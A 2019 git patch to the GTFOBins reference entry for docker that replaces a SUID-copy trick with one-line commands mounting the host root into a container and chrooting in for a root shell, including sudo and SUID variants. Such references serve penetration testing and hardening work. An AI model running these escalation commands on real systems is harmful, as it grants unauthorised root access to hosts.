From 40ecb11b2e06626cb7f5ab1395160d4605d84c4f Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 2 Jul 2019 14:55:40 +0200 Subject: [PATCH] Simplify the docker example by using chroot Also make it available for non-root users. The previous SUID example had the problem that the loaders between host and containers must match, for example, copying `sh` from alpine to debian doesn't directly work. --- _gtfobins/docker.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/_gtfobins/docker.md b/_gtfobins/docker.md index 448c422..beb8c57 100644 --- a/_gtfobins/docker.md +++ b/_gtfobins/docker.md @@ -1,13 +1,14 @@ --- description: | - Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, e.g. being in the `docker` group. Any other Docker Linux image should work, e.g., `debian`. + This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`. functions: + shell: + - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. + code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh sudo: - - code: | - sudo docker run --rm -v /home/$USER:/h_docs ubuntu \ - sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p + - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. + code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh suid: - - code: | - ./docker run --rm -v /home/$USER:/h_docs ubuntu \ - sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p + - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. + code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh ---